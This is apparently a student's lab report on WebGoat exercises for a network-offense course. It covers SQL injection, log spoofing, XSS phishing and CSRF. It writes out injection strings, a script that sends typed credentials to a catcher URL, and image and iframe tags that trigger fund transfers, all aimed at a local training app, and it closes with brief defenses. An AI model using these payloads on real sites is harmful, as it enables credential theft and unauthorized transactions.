2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础
目录
Exp9_1安装Webgoat
- 下载安装包
- 运行Webgoat
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar

- 在浏览器中输入
http://localhost:8080/WebGoat打开WebGoat登录界面,使用下方登录名、密码进行登录,成功登录后即可查看教程

Exp9_2 SQL注入攻击
Numeric SQL Injection
- Goal:
The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. - 右键点击复选框,选择
inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

Log Spoofing
- Goal:
Your goal is to make it like a username "admin" has succeeded into logging in. - 在
User Name中填入20165312%0d%0aLogin Succeeded !admin

String SQL Injection
- Goal:
The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. - 输入查询的用户名
' or 1=1--

Stage 1:String SQL Injection
- Goal:
Use String SQL Injection to bypass authentication. - 在密码框右键选择
inspect Element审查网页元素对长度进行修改 - 在密码框输入
' or 1=1 --

Exp9_3 XSS攻击
Phishing with XSS
- Goal
- Insert html to that requests credentials
- Add javascript to actually collect the credentials
- Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
- 带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 需要一段脚本读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 将两段代码合并搜索


Stored XSS Attacks
- Goal:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 在Message中构造语句
<script>alert("20165312 attack succeed!");</script>Title任意输入。提交后可发现刚创建的帖子123 - 点击
123然后会弹出一个对话框,证明XSS攻击成功


Exp9_4 CSRF攻击
Cross Site Request Forgery
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.com 的 transferFunds.do 页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。
- 在Message框中输入,这样就转走了10000~~~(咳咳)
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />

CSRF Prompt By-Pass
- 在message框中输入代码
<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit生成以123命名的链接,点击链接,攻击成功

实验小结
- 实验感想
- SQL注入攻击原理,如何防御
检查输入数据类型和格式,不予许用户输入
'--#
- XSS攻击的原理,如何防御
在表单提交或者url参数传递前,对需要的参数进行过滤。检查用户输入的内容中是否有非法内容
- CSRF攻击原理,如何防御
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
- 通过referer、token或者验证码来检测用户提交
- 避免全站通用的cookie,严格设置cookie的域
2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- vue-cli脚手架——2.0版本项目案例
一.[准备工作] Node.js 安装包及源码下载地址为:https://nodejs.org/en/download/. Git 各平台安装包下载地址为:http://git-scm.com/dow ...
- poi 读取word 遍历表格和单元格中的图片
背景 项目需要解析word表格 需要批量导入系统,并保存每行信息到数据库 并且要保存word中的图片, 并保持每条信息和图片的对应关系 一行数据可能有多条图片 解决办法 没有找到现成的代码,怎么办呐? ...
- SecureCRT和SecureFX的安装和破解
1.SecureCRT & SecureFX 介绍 1.1 SecureCRT SecureCRT 是一款终端仿真软件,和 Putty 的功能类似. 不过相比Putty比较简单的功能,Secu ...
- Linux命令——logger
参考:How to use logger on Linux Difference between /var/log/messages, /var/log/syslog, and /var/log/ke ...
- linux复制、压缩打包、解压缩等操作
1. 复制:cp命令,可复制一个文件夹下的所有文件和子目录.子文件,但是不包括本目录名,例如:不想包含目录名python3.7,想包含的是该目录下的所有子文件和子目录 cp -r /usr/local ...
- 使用VisualGDB和OpenOCD调试STM32L0开发板
本教程主要介绍如何配置VisualGDB和OpenOCD来调试STM32L0开发板的固件,使微控制器进入睡眠模式. 我们将创建一个NUCLEO-L031K6开发板的基本工程,并介绍当CPU进入休眠模式 ...
- linux网络编程之system v信号量(一)
今天起,学习信号量相关的知识,下面开始: 关于信号量,在前面已经介绍过了,这里回顾一下: 通过上面的描述,很容易就能想到信号量的一上数据结构: 下面再来回顾一下P.V原语: 所谓的原语就是指这段代码是 ...
- vue+webpack4 脚手架搭建
1, vue 中 h => h(App) 的含义: //render: h => h(App) 是下面内容的缩写: render: function (createElement) { r ...
- 基于pg_qualstats和hypopg的自动索引调优
pg-qualstats的安装和配置 1.安装pg-qualstats -pg-qualstats 2.将pg_qualstats和pg_stat_statements添加到shared_preloa ...
- WebStorm 安装
官方下载地址:https://www.jetbrains.com/webstorm/ 下载 安装 等待.......... 安装完成........................ 开始使用(第一次 ...